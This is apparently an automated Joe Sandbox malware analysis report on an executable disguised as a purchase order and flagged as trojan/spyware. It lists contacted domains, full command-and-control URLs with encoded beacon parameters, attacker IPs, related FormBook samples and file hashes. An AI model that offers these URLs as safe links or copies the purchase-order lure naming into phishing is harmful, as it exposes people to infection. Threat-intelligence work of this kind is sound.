ghs.googlehosted.com	142.250.186.51	true	false	0%, Virustotal, Browse	unknown
www.shopdj00.xyz	unknown	unknown	true		unknown
www.zz82x.top	unknown	unknown	true		unknown
www.bodegamayorista.online	unknown	unknown	true		unknown
www.deefbank.net	unknown	unknown	true	0%, Virustotal, Browse	unknown
www.kovallo.cloud	unknown	unknown	true	1%, Virustotal, Browse	unknown
www.greekhause.org	unknown	unknown	true	0%, Virustotal, Browse	unknown
www.085bet.xyz	unknown	unknown	true	2%, Virustotal, Browse	unknown
www.bluegirls.blog	unknown	unknown	true	0%, Virustotal, Browse	unknown
www.tempatmudisini01.click	unknown	unknown	true	7%, Virustotal, Browse	unknown
www.sppsuperplast.online	unknown	unknown	true		unknown
www.chalet-tofane.net	unknown	unknown	true	2%, Virustotal, Browse	unknown

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
http://www.deefbank.net/i06p/	false	Avira URL Cloud: safe	unknown
http://www.tempatmudisini01.click/phdl/	true	Avira URL Cloud: malware	unknown
http://www.rtpngk.xyz/yhsl/?76=5EuG8q3RnsmESHA8JVSnlizd0lq9q8glk1nzqEFI9PKQqCJAfa6foAENeypwFyQKjeyo2Uxd0f+FrZwD+wtTCitgNQzIzPqlhTclUhz8bxA3FGZPimHZW40XTk/UgPnbZQA2uTwzCdxs&mtJD_=fvdlJ2L	true	Avira URL Cloud: safe	unknown
http://www.bluegirls.blog/7m8b/	true	Avira URL Cloud: safe	unknown
http://www.bodegamayorista.online/8xob/?76=A14vC586VW4zZwTD5W+icFgZA3/gFFWkfN+k13nedPAvAgeoNHQOmzzfD2mClB7mOSU9pQTtzUjUfjrPrdgjVCIgZM4LbXLF8ymXXAVuMS/ObX4kzH9c4ewBdY7tnGrMOo/XDCkVFvSq&mtJD_=fvdlJ2L	true	Avira URL Cloud: safe	unknown
http://www.zz82x.top/2lu6/	true	Avira URL Cloud: safe	unknown
http://www.greekhause.org/gxfy/	true	Avira URL Cloud: safe	unknown
http://www.rtpngk.xyz/yhsl/	true	Avira URL Cloud: safe	unknown
http://www.donante-de-ovulos.biz/8dtf/	true	Avira URL Cloud: safe	unknown
http://www.085bet.xyz/1zd7/	true	Avira URL Cloud: safe	unknown
http://www.2024tengxun361.buzz/xedw/	true	Avira URL Cloud: safe	unknown
http://www.085bet.xyz/1zd7/?76=bC1YIRSSuZYlVnS9hsNuhorKbcQ6ntdnx8KhpmCqECpWzN5SjPNMNLi+QdUYzo4UT/zMJg8CHwvIOMobHOZol4uZ599UMLQvIcSN6ebgMaMOQVLVUFO0QXCtqgKNb3wKU9pkkDiIxWQO&mtJD_=fvdlJ2L	true	Avira URL Cloud: safe	unknown
http://www.chalet-tofane.net/uesf/	true	Avira URL Cloud: safe	unknown
http://www.sppsuperplast.online/hel6/	true	Avira URL Cloud: safe	unknown
http://www.kovallo.cloud/ye3m/?mtJD_=fvdlJ2L&76=BO45+0u1emCE8p481TGhlGJRfjijEniKMfSBNkuCyA4PSNUX9OtmTTSsRjXRpS6xcva9ZoEmbKYu7sV13UJQ2VHV0V6wg3gLfDQvPBhIAhk7jspRbUMiRCt8g415t+g4yzmjfyP2O5kn	true	Avira URL Cloud: safe	unknown
http://www.sppsuperplast.online/hel6/?76=o5DytMykkaK7sxNXVTYwbJ0nas7Lrf6+xSFmwBlJgutuTdBVL+3Ld5pnGP5bgJpbKreJsN3lh4gHWJ53LIGu8bA2yj0UpLyBdZ5DgjAe+Y8tl6D74j+Er65lZkEVlLJH6zUxwY6EHphi&mtJD_=fvdlJ2L	true	Avira URL Cloud: safe	unknown
http://www.bodegamayorista.online/8xob/	true	Avira URL Cloud: safe	unknown
http://www.mistsui.top/r48b/	true	Avira URL Cloud: safe	unknown
http://www.zz82x.top/2lu6/?76=PbAz0EfTKowYn11d9L8KeIyoxyngBHbvlbcT88jVQuwl479Ud/v94CC+Ex+uZY8Wq5vHWUIm1erRj2VcHYbUz5WJs9RaUjKCQ9bJpumP+lrR5hAi4gPt8UgQTkM/uAhjmqXAbZ9LXA/l&mtJD_=fvdlJ2L	true	Avira URL Cloud: safe	unknown
http://www.solisbysobha.net/s5b1/?mtJD_=fvdlJ2L&76=Yf0zZ3jBoCdhuzLDLj91Ws8HprJqzGXqNpWi9hWRQAr/e4SYtEvUr1BCdCQtsdxZ1OdzkDb6zzma4zXRjMwopMxEpmqXXuUrncqDeB64G5UYzEp6MWYeviVvJyEh+kzS7xrr7DyksnLe	true	Avira URL Cloud: safe	unknown
http://www.greekhause.org/gxfy/?76=CIIanhHRMgNozks5RGfJdUNX3+emzbgNf/VP7kRsN6vN0WzMvG3G9UIg+8jiJKvurCAh0c8eANy2Q8bdeXyR4StCmoJcjfzG5pIm3u+OPQ8SG4xTUPnFxO8c++BkIyDygdbta7ejYT5g&mtJD_=fvdlJ2L	true	Avira URL Cloud: safe	unknown
http://www.2024tengxun361.buzz/xedw/?mtJD_=fvdlJ2L&76=iU86b+DQDkc5+HCYi3wksyID7wIiKcPt1qIOrYUg5TrYQuRHlXYNPzVksVl/dHByk+JFXw+Aj1EfBi5c9qhjsEIOS1JRVa1wxHxBhUP989bRn8j6x1DUcRzlbseaRz6IPahZbjf8tblS	true	Avira URL Cloud: safe	unknown
http://www.donante-de-ovulos.biz/8dtf/?76=n4Dn6BhRGXgBCc8VvzeMEOXmG0Elz5lGLePoshfoMkwgvj9XBMT8fCSzJRDbu+yD5cpoNGctvaCBzFD7eo0ZE+1Jdoxfd5POcRUtDqQJ70nv82NNqRSJamvbeDYUZbHlz6Y0RwscVapw&mtJD_=fvdlJ2L	true	Avira URL Cloud: safe	unknown
http://www.bluegirls.blog/7m8b/?76=TUpvsdJ0cs84UNNTqqi2wOMj02pU6E0u1A17Lrv5qeBoN9jB/n++wLdBNnRIp/FdR+Ur2HOcuniO4FwpOA1JnwQ/5G5V4geMmZeqJSORp3yZ3MMA5ZHYDD9/sYl5a677eMHhDnCl+rJp&mtJD_=fvdlJ2L	true	Avira URL Cloud: safe	unknown
http://www.tempatmudisini01.click/phdl/?76=RacNMaTPN8PTLvXR9NF5eW2iQDieTkk5np6gf4eeXsIapVFDjThj3jiQkVzZmExioktz4vqZ0cfToK8eCYqJupED41Yr5DEkLX4m9t/uleGnewHbryEHDsS5u5fKmXjTxI+rab/4BaXG&mtJD_=fvdlJ2L	true	Avira URL Cloud: malware	unknown
http://www.mistsui.top/r48b/?76=+EEyxXn2ifp2lL4tSgcDej4IKTVVubAXRia9ZGYNaFbCIrCUSrCroJ1ltkc3MgDLuvAkyd1hc3+ySf3CEzuTuCrdjxUcb6kt1JtpL21e+JT78DJZMGSekOhJaCk+Ht+qyblm0D0jZ5Dr&mtJD_=fvdlJ2L	true	Avira URL Cloud: safe	unknown
http://www.solisbysobha.net/s5b1/	true	Avira URL Cloud: safe	unknown

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
https://duckduckgo.com/chrome_newtab	grpconv.exe, 00000005.00000003.1820031879.00000000074EE000.00000004.00000020.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://duckduckgo.com/ac/?q=	grpconv.exe, 00000005.00000003.1820031879.00000000074EE000.00000004.00000020.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://www.google.com/images/branding/product/ico/googleg_lodp.ico	grpconv.exe, 00000005.00000003.1820031879.00000000074EE000.00000004.00000020.00020000.00000000.sdmp	false	0%, Virustotal, Browse Avira URL Cloud: safe	unknown
https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=	grpconv.exe, 00000005.00000003.1820031879.00000000074EE000.00000004.00000020.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://www.deefbank.net/i06p/?76=Vpg7jNNJFscOYvB4AFVvnCABD6vaG9WwQKsmOhPgVM6zGb6O3kTWptBkzi24RSKPCb	grpconv.exe, 00000005.00000002.3870343838.0000000005BC4000.00000004.10000000.00040000.00000000.sdmp, JkyHsYXxoyjW.exe, 00000006.00000002.3868956155.0000000003CE4000.00000004.00000001.00040000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://ch.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=	grpconv.exe, 00000005.00000003.1820031879.00000000074EE000.00000004.00000020.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://www.ecosia.org/newtab/	grpconv.exe, 00000005.00000003.1820031879.00000000074EE000.00000004.00000020.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://www.bodegamayorista.online	JkyHsYXxoyjW.exe, 00000006.00000002.3871192963.00000000050F6000.00000040.80000000.00040000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://ac.ecosia.org/autocomplete?q=	grpconv.exe, 00000005.00000003.1820031879.00000000074EE000.00000004.00000020.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://www.google.com	grpconv.exe, 00000005.00000002.3870343838.0000000005EE8000.00000004.10000000.00040000.00000000.sdmp, JkyHsYXxoyjW.exe, 00000006.00000002.3868956155.0000000004008000.00000004.00000001.00040000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://www.chalet-tofane.net:80/uesf/?76=z4JBjkhdawOvrgQ3/n9w4VhuG3	grpconv.exe, 00000005.00000002.3870343838.000000000607A000.00000004.10000000.00040000.00000000.sdmp, JkyHsYXxoyjW.exe, 00000006.00000002.3868956155.000000000419A000.00000004.00000001.00040000.00000000.sdmp	true	Avira URL Cloud: safe	unknown
https://ch.search.yahoo.com/favicon.icohttps://ch.search.yahoo.com/search	grpconv.exe, 00000005.00000003.1820031879.00000000074EE000.00000004.00000020.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://tempatmudisini01.click/phdl/?76=RacNMaTPN8PTLvXR9NF5eW2iQDieTkk5np6gf4eeXsIapVFDjThj3jiQkVzZm	grpconv.exe, 00000005.00000002.3870343838.00000000050C6000.00000004.10000000.00040000.00000000.sdmp, JkyHsYXxoyjW.exe, 00000006.00000002.3868956155.00000000031E6000.00000004.00000001.00040000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://cdn.ecosia.org/assets/images/ico/favicon.icohttps://www.ecosia.org/search?q=	grpconv.exe, 00000005.00000003.1820031879.00000000074EE000.00000004.00000020.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://www.rtpngk.xyz/yhsl/?76=5EuG8q3RnsmESHA8JVSnlizd0lq9q8glk1nzqEFI9PKQqCJAfa6foAENeypwFyQKjeyo	grpconv.exe, 00000005.00000002.3870343838.00000000053EA000.00000004.10000000.00040000.00000000.sdmp, JkyHsYXxoyjW.exe, 00000006.00000002.3868956155.000000000350A000.00000004.00000001.00040000.00000000.sdmp	false	Avira URL Cloud: safe	unknown

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	ASN	ASN Name	Malicious
162.0.238.246	www.mistsui.top	Canada	22612	NAMECHEAP-NETUS	true
198.50.252.64	www.solisbysobha.net	Canada	16276	OVHFR	true
154.38.114.205	www.2024tengxun361.buzz	United States	174	COGENT-174US	true
62.149.128.40	chalet-tofane.net	Italy	31034	ARUBA-ASNIT	true
199.59.243.227	www.donante-de-ovulos.biz	United States	395082	BODIS-NJUS	true
84.32.84.32	bodegamayorista.online	Lithuania	33922	NTT-LT-ASLT	true
154.198.53.36	cluster580fc23f.abcty2.com	Seychelles	26484	IKGUL-26484US	true
81.2.196.19	kovallo.cloud	Czech Republic	24806	INTERNET-CZKtis238403KtisCZ	true
85.159.66.93	natroredirect.natrocdn.com	Turkey	34619	CIZGITR	true
103.21.221.4	tempatmudisini01.click	unknown	9905	LINKNET-ID-APLinknetASNID	true
188.114.97.3	www.rtpngk.xyz	European Union	13335	CLOUDFLARENETUS	true
195.110.124.133	bluegirls.blog	Italy	39729	REGISTER-ASIT	true
38.47.232.196	zz82x.top	United States	174	COGENT-174US	true
142.250.186.51	ghs.googlehosted.com	United States	15169	GOOGLEUS	false
3.33.130.190	greekhause.org	United States	8987	AMAZONEXPANSIONGB	true

General Information

Joe Sandbox version:	41.0.0 Charoite
Analysis ID:	1515799
Start date and time:	2024-09-23 14:35:11 +02:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 11m 5s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	11
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	2
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	Purchase Order_ AEPL-2324-1126.exe
Detection:	MAL
Classification:	mal100.troj.spyw.evad.winEXE@7/2@16/15
EGA Information:	Successful, ratio: 75%
HCA Information:	Successful, ratio: 91% Number of executed functions: 54 Number of non-executed functions: 303
Cookbook Comments:	Found application associated with file extension: .exe Override analysis time to 240000 for current running targets taking high CPU consumption

Warnings

Exclude process from analysis (whitelisted): MpCmdRun.exe, dllhost.exe, WMIADAP.exe, SIHClient.exe, conhost.exe, backgroundTaskHost.exe
Excluded domains from analysis (whitelisted): slscr.update.microsoft.com, ctldl.windowsupdate.com, fe3cr.delivery.mp.microsoft.com
Not all processes where analyzed, report is missing behavior information
Report creation exceeded maximum time and may have missing disassembly code information.
Report size exceeded maximum capacity and may have missing disassembly code.

Simulations

Behavior and APIs

Time	Type	Description
08:37:20	API Interceptor	9797964x Sleep call for process: grpconv.exe modified

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
162.0.238.246	RECIEPT.PDF.exe	Get hash	malicious	FormBook	Browse	www.quantis.life/hczh/
162.0.238.246	LgzpILNkS2.exe	Get hash	malicious	FormBook	Browse	www.inchey.online/ercr/
198.50.252.64	iuwxw7l3B8.exe	Get hash	malicious	FormBook, GuLoader	Browse	www.verenasbooks.store/hjdr/?aytH=7m7AmZ9BBJEagLLeZgr2XL6fJR0y+AEH3ntgHoqZ8GszJNEXChLSj6Lc9CsP8jGA+phvNyfEJtPzAws3azF8kZW9pKZWzmns8g==&dF=zeCQgMQZOsoc6
	JXKpeA9gSm.exe	Get hash	malicious	FormBook	Browse	www.carrconsulting.xyz/ippd/?JEqt=9n5vjw5BL&fIZhqNlL=OyXFxvvgpcLcRqR+QVgY8OZ5s1CF8ip7ZgF4/hB4mo4TVQOl2nAT57D2kXHzhRsnyQCaeCXL3uGHhLOpIDo91srV9JQCufFuNg==
	vbc.exe	Get hash	malicious	FormBook	Browse	www.manessi.xyz/tic4/?nT2D4O=wmM+JQLX/LTjIkhLav/7pifcu4/qS9Lf16ILZkXVwVQxvUCe6R/jkMB9z+OmOvy7WtV1AtFnTgBDorlVThTsxCjUbfcAlbJTSw==&3zz7d=KBnjbttNLxpc
	Order specification.exe	Get hash	malicious	FormBook	Browse	www.carrconsulting.xyz/ippd/?P3P2FX=dsNnsySir6HfQ56p&4oY8PKi=OyXFxvvgpcLcRqR+QVgY8OZ5s1CF8ip7ZgF4/hB4mo4TVQOl2nAT57D2kXHzhRsnyQCaeCXL3uGHhLOpIDo91pvEga4CvfN2Ng==
	SecuriteInfo.com.Win32.PWSX-gen.93.10409.exe	Get hash	malicious	FormBook	Browse	www.carrconsulting.xyz/ippd/?Rp6W=x4IN&dpa=OyXFxvvgpcLcRqR+QVgY8OZ5s1CF8ip7ZgF4/hB4mo4TVQOl2nAT57D2kXHzhRsnyQCaeCXL3uGHhLOpIDo91pvEga4CvfN2Ng==
	new_order_quotation_030022023000000000000000_PDF.exe	Get hash	malicious	FormBook	Browse	www.carrconsulting.xyz/h68b/?61=C8_gzqz&KLfb=mpCHzHLyAvu5qhW/nYzCL2lBNLEE+CMBrQrhb716kuEaaBIYUPWJ/npU0F7qJ9VEN3zOet630ULeAunXG2JUp/WcIwhRRlWzbQ==
	Order specification.exe	Get hash	malicious	FormBook	Browse	www.carrconsulting.xyz/ippd/?qkmio=TvFaelEDVSuf1D8o&S9=OyXFxvvgpcLcRqR+QVgY8OZ5s1CF8ip7ZgF4/hB4mo4TVQOl2nAT57D2kXHzhRsnyQCaeCXL3uGHhLOpIDo4n5XU3YQKo5NfOQ==
	Order specification.exe	Get hash	malicious	FormBook	Browse	www.carrconsulting.xyz/ippd/
	rfq_items_order_purchase_quotation_27012023000000000000_PDF.exe	Get hash	malicious	FormBook	Browse	www.carrconsulting.xyz/h68b/?f-pX=mpCHzHLyAvu5qhW/nYzCL2lBNLEE+CMBrQrhb716kuEaaBIYUPWJ/npU0F7qJ9VEN3zOet630ULeAunXG2JVmdHXaW9vQA/fZA==&RNxq=9ncpHuCJAEbu9IR
	Order specification.exe	Get hash	malicious	FormBook	Browse	www.carrconsulting.xyz/ippd/?SBo=zNT0B&fwZG=OyXFxvvgpcLcRqR+QVgY8OZ5s1CF8ip7ZgF4/hB4mo4TVQOl2nAT57D2kXHzhRsnyQCaeCXL3uGHhLOpIDo91pvEga4CvfN2Ng==
62.149.128.40	PO76389.exe	Get hash	malicious	FormBook	Browse	www.fimgroup.net/f3w9/
	bintoday1.exe	Get hash	malicious	FormBook	Browse	www.fimgroup.net/m3ft/
	Atlas Copco- WEPCO.exe	Get hash	malicious	FormBook	Browse	www.fimgroup.net/fqzh/
	file No83293 PO & Specification.gz.exe	Get hash	malicious	FormBook	Browse	www.pyrlist-test.cloud/apau/?32gdi4=omLpuGVmsyOHdGpRdjgRwIdS8onMLPtYZwnQxrZ2pdkklfz3vB2UBDvQaSU1YR7Xr6uYdwMb/adcCe42hD+vmDiudnADMik3xc+FpjXk83bBo7qDRClwT378wlWS9dAj4UFWXQx8lPSh&wLAt=m8MLyLih-H4lf
	64MXEd79F1.exe	Get hash	malicious	FormBook	Browse	www.autoreediritto.com/aucq/?pZXDmpb8=KoQMLvtx3M4SfAq6wckzW9CSarLFnHHB0euSLOV9eLfxROMJcI8ufZi+pNPsARzNL1LmWOMQM+kJCjoighlqXenXGQFHAUL+cMNE98AcgW9WHO0Ixf81xDLisHhibZAVvCGoKVw=&fv=tdYXXJI8Drl4
	09090.exe	Get hash	malicious	FormBook	Browse	www.autoreediritto.com/aucq/?zFQHE=KoQMLvtx3M4SfAq6wckzW9CSarLFnHHB0euSLOV9eLfxROMJcI8ufZi+pNPsARzNL1LmWOMQM+kJCjoighlqXenXGQFHAUL+cMNE98AcgW9WHO0Ixf81xDLisHhibZAVvCGoKVw=&yF3=b0i4Y00xHtf
	8bwKawHg0Z.exe	Get hash	malicious	FormBook	Browse	www.autoreediritto.com/aucq/?m4kp=Q04lO4tHCdMhGRPp&Z2n4kTEh=KoQMLvtx3M4SfAq6wckzW9CSarLFnHHB0euSLOV9eLfxROMJcI8ufZi+pNPsARzNL1LmWOMQM+kJCjoighlqUenkRjtIRRn+PcJ+980YglFIHv1RxaMTu2bilHhQR8NY0g==
	98790ytt.exe	Get hash	malicious	FormBook	Browse	www.autoreediritto.com/aucq/?GHo=KoQMLvtx3M4SfAq6wckzW9CSarLFnHHB0euSLOV9eLfxROMJcI8ufZi+pNPsARzNL1LmWOMQM+kJCjoighlqXenXGQFHAUL+cMNE98AcgW9WHO0Ixf81xDLisHhibZAVvCGoKVw=&i2=tZJdhrYHabWX4H
	aertrh.exe	Get hash	malicious	FormBook	Browse	www.autoreediritto.com/aucq/?bbtD=v8Pp0x&mXnt=KoQMLvtx3M4SfAq91ckdEaeNevOygAbB0euSLOV9eLfxROMJcI8ufZi+pNPsARzNL1LmWOMQM+kJCjoighlqWc3KGV5GAX2rZsRT+8QcgDF4B+0ExfJRqG4=
	RB_VAC_1.EXE.exe	Get hash	malicious	DBatLoader, FormBook	Browse	www.stnlab.net/twn7/

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
natroredirect.natrocdn.com	AWB_5771388044 Documenti di spedizione.exe	Get hash	malicious	FormBook	Browse	85.159.66.93
	Cotizaci#U00f3n.exe	Get hash	malicious	FormBook	Browse	85.159.66.93
	PO2024033194.exe	Get hash	malicious	FormBook	Browse	85.159.66.93
	FvYlbhvZrZ.rtf	Get hash	malicious	FormBook	Browse	85.159.66.93
	SecuriteInfo.com.Win32.SuspectCrc.23106.21095.xlsx	Get hash	malicious	FormBook	Browse	85.159.66.93
	file.exe	Get hash	malicious	FormBook	Browse	85.159.66.93
	file.exe	Get hash	malicious	FormBook	Browse	85.159.66.93
	Quote 05-302.lnk	Get hash	malicious	FormBook	Browse	85.159.66.93
	LgzpILNkS2.exe	Get hash	malicious	FormBook	Browse	85.159.66.93
	ncOLm62YLB.exe	Get hash	malicious	FormBook	Browse	85.159.66.93
www.rtpngk.xyz	PO2024033194.exe	Get hash	malicious	FormBook	Browse	188.114.96.3
www.rtpngk.xyz	DOC092024-0431202229487.exe	Get hash	malicious	FormBook	Browse	188.114.97.3
cluster580fc23f.abcty2.com	DCP11-83642024..exe	Get hash	malicious	FormBook	Browse	154.198.53.36
	file.exe	Get hash	malicious	FormBook	Browse	185.121.169.26
	https://9bet999.com/	Get hash	malicious	Unknown	Browse	154.198.53.36
	http://9bet938.com/	Get hash	malicious	Unknown	Browse	154.198.53.36
	https://1b375bcda594bd6f.bet898.vip/	Get hash	malicious	Unknown	Browse	154.198.53.47
	http://58365888.cc/	Get hash	malicious	Unknown	Browse	45.194.36.61
	https://bet958v.com/	Get hash	malicious	Unknown	Browse	27.0.235.55
	https://bet958z.com/	Get hash	malicious	Unknown	Browse	154.198.53.36
	https://bet958d.com/	Get hash	malicious	Unknown	Browse	81.31.208.67
	https://7365bb.vip/	Get hash	malicious	Unknown	Browse	185.121.169.26

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
COGENT-174US	http://xb2.aggressiveq9.com/21u/	Get hash	malicious	HTMLPhisher	Browse	143.244.208.184
	q8HkBndUpP.exe	Get hash	malicious	Unknown	Browse	38.175.45.11
	yoYRK88Xg2.exe	Get hash	malicious	Unknown	Browse	38.175.45.20
	jade.arm.elf	Get hash	malicious	Mirai	Browse	206.0.212.64
	jade.ppc.elf	Get hash	malicious	Mirai	Browse	149.40.99.56
	AWB_5771388044 Documenti di spedizione.exe	Get hash	malicious	FormBook	Browse	206.119.82.147
	ES-241-29335_pdf.exe	Get hash	malicious	FormBook	Browse	38.181.21.65
	PO2024033194.exe	Get hash	malicious	FormBook	Browse	154.23.184.240
	PO #86637.exe	Get hash	malicious	FormBook	Browse	154.23.184.240
	RECIEPT.PDF.exe	Get hash	malicious	FormBook	Browse	206.119.82.172
NAMECHEAP-NETUS	PO-001.exe	Get hash	malicious	FormBook	Browse	162.0.239.141
	Cotizaci#U00f3n.exe	Get hash	malicious	FormBook	Browse	63.250.47.40
	ES-241-29335_pdf.exe	Get hash	malicious	FormBook	Browse	63.250.47.40
	Request for Quotation Hi-Tech Park Project 193200.exe	Get hash	malicious	FormBook	Browse	199.192.21.169
	LOL and profile.exe	Get hash	malicious	FormBook	Browse	162.0.236.169
	RECIEPT.PDF.exe	Get hash	malicious	FormBook	Browse	162.0.238.246
	PO# Q919240.exe	Get hash	malicious	FormBook	Browse	63.250.47.40
	ADNOC REQUESTS & reviews.exe	Get hash	malicious	FormBook	Browse	162.0.236.169
	https://suspokertellscractor-f7a93a.ingress-florina.ewp.live/wp-content/plugins/unsemitions/infospage.php	Get hash	malicious	Unknown	Browse	63.250.43.136
	http://siddiquimehvish07.github.io/neflixclone.github.io	Get hash	malicious	HTMLPhisher	Browse	162.0.235.241
OVHFR	http://xb2.aggressiveq9.com/21u/	Get hash	malicious	HTMLPhisher	Browse	54.38.113.2
	https://secure.rpcthai.com/	Get hash	malicious	Unknown	Browse	5.196.111.73
	ounU0OuZvF.rtf	Get hash	malicious	Unknown	Browse	91.134.98.142
	http://scandalous-big-open.glitch.me/auto.html	Get hash	malicious	Unknown	Browse	46.105.222.82
	8zzBr1gT31.elf	Get hash	malicious	Mirai	Browse	5.196.148.136
	iZP1hJhnmz.elf	Get hash	malicious	Mirai	Browse	5.196.148.130
	RFQ_PO_KMM7983972_ORDER_DETAILS.js	Get hash	malicious	AgentTesla, RedLine	Browse	51.195.88.199
	https://onlyclips.site/?title=quinnfinite&ref=git	Get hash	malicious	Unknown	Browse	149.56.240.27
	ORDER_DOCUMENT_PO_GQB793987646902.TXT.MPEG.PNG.CMD.cmd	Get hash	malicious	AgentTesla, DBatLoader	Browse	51.195.88.199
	https://www.google.com/url?q=3HOSozuuQiApLjODz3yh&rct=tTPSJ3J3wDFX0jkXyycT&sa=t&esrc=WSECxFgECA0xys8Em2FL&source=&cd=HXUursu8uEcr4eTiw9XH&cad=XpPkDfJ9mfdQ6lDJVS0Y&ved=xjnktlqryYWwZIBRrgvK&uact=&url=amp/s%2Ffactorhumano.eu/.dev/75603jiAG/UkZyZWVzbGFuZEBidXJiYW5rY2EuZ292	Get hash	malicious	Unknown	Browse	178.33.162.219

Process:	C:\Windows\SysWOW64\grpconv.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 7, database pages 89, cookie 0x36, schema 4, UTF-8, version-valid-for 7
Category:	modified
Size (bytes):	196608
Entropy (8bit):	1.1215420383712111
Encrypted:	false
SSDEEP:	384:r2qOB1nxCkvSAELyKOMq+8HKkjucswRv8p3:aq+n0E9ELyKOMq+8HKkjuczRv89
MD5:	9A809AD8B1FDDA60760BB6253358A1DB
SHA1:	D7BBC6B5EF1ACF8875B36DEA141C9911BADF9F66
SHA-256:	95756B4CE2E462117AF93FE5E35AD0810993D31CC6666B399BEE3B336A63219A
SHA-512:	2680CEAA75837E374C4FB28B7A0CD1F699F2DAAE7BFB895A57FDB8D9727A83EF821F2B75B91CB53E00B75468F37DC3009582FC54F5D07B2B62F3026B0185FF73
Malicious:	false
Reputation:	moderate, very likely benign file
Preview:	SQLite format 3......@ .......Y...........6......................................................j............W........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\cunili

Download File

Process:	C:\Users\user\Desktop\Purchase Order_ AEPL-2324-1126.exe
File Type:	data
Category:	modified
Size (bytes):	287232
Entropy (8bit):	7.994664134270278
Encrypted:	true
SSDEEP:	6144:v1ORRLrFIIoyyYdykYbkrtuJsYIS0JYFOmiDHFmNf2EqkAR63YnaZz:vwRL+I4AykkJsYISF9iDHoV2Eqk86YnQ
MD5:	F247A71D68BD8493200D7D622C78C60D
SHA1:	188F6994B782EB8D5C65F54C18EF78EDF8107AF0
SHA-256:	FF8DF61B2AC0DF2BE827A48AEC171E150F68727B0301C5EDF7557DF5E662B2CC
SHA-512:	F0321A64B1770BFDE4D3528626EAB6BF62A2F197BD3DB8FFBC74DD6D8EC34E421BF6F55C373AE7B65278A0AA44EEC38A0CD2A755C47AFD9D4FBFCAD427AE0AD1
Malicious:	false
Reputation:	low
Preview:	...b.XXHSm.[....o.7[..l7Z...TTA0CXXHS5PXR6SG4S37XYASD4RUXY.TA0MG.FS.Y.s.R..rg_1a#6[5'94t7 ^-7,h1Pp'Xs.Zswx.y,< Q\|XUSpTA0CXXH*4Y.oV4..3T.e9&.^...b93.[..d(4.J...o'S.a^;1\|3#.RUXYTTA0..XH.4QX.5X.4S37XYAS.4PTSX_TA`GXXHS5PXR6cR4S3'XYA3@4RU.YTDA0CZXHU5PXR6SG2S37XYASDTVUX[TTA0CXZH..PXB6SW4S37HYACD4RUXYDTA0CXXHS5PXR6SG4S37XYASD4RUXYTTA0CXXHS5PXR6SG4S37XYASD4RUXYTTA0CXXHS5PXR6SG4S37XYASD4RUXYTTA0CXXHS5PXR6SG4S37XYASD4RUXYTTA0CXXHS5PX\|B6?@S37..ESD$RUX.PTA CXXHS5PXR6SG4S.7X9ASD4RUXYTTA0CXXHS5PXR6SG4S37XYASD4RUXYTTA0CXXHS5PXR6SG4S37XYASD4RUXYTTA0CXXHS5PXR6SG4S37XYASD4RUXYTTA0CXXHS5PXR6SG4S37XYASD4RUXYTTA0CXXHS5PXR6SG4S37XYASD4RUXYTTA0CXXHS5PXR6SG4S37XYASD4RUXYTTA0CXXHS5PXR6SG4S37XYASD4RUXYTTA0CXXHS5PXR6SG4S37XYASD4RUXYTTA0CXXHS5PXR6SG4S37XYASD4RUXYTTA0CXXHS5PXR6SG4S37XYASD4RUXYTTA0CXXHS5PXR6SG4S37XYASD4RUXYTTA0CXXHS5PXR6SG4S37XYASD4RUXYTTA0CXXHS5PXR6SG4S37XYASD4RUXYTTA0CXXHS5PXR6SG4S37XYASD4RUXYTTA0CXXHS5PXR6SG4S37XYASD4RUXYTTA0CXXHS5PXR6SG4S37XYASD4RUXYTTA0CXXHS5PXR6SG4S37XYASD4RUXYTTA0CXXHS5

Static File Info

General

File type:	PE32 executable (GUI) Intel 80386, for MS Windows
Entropy (8bit):	7.360995698697927
TrID:	Win32 Executable (generic) a (10002005/4) 99.96% Generic Win/DOS Executable (2004/3) 0.02% DOS Executable Generic (2002/1) 0.02% Autodesk FLIC Image File (extensions: flc, fli, cel) (7/3) 0.00%
File name:	Purchase Order_ AEPL-2324-1126.exe
File size:	1'509'575 bytes
MD5:	4d40b6f064db9c79d427ca2a2c9b87ae
SHA1:	aeed2a31d23e0615c1f8ecc2f10c9ad285666b2d
SHA256:	8b117326a85883033f16c21e24a6e07bcc1cb7cced62623a95c1649e7b727688
SHA512:	39f15396eab2d4819a92af72c8a8cb1323a1b9418663b8a6f5a3bf0e6dc04ef213fb4c1eb5252df2b70bfa2c9710c43c669eaa0860c1af21b0b7c89f9473c150
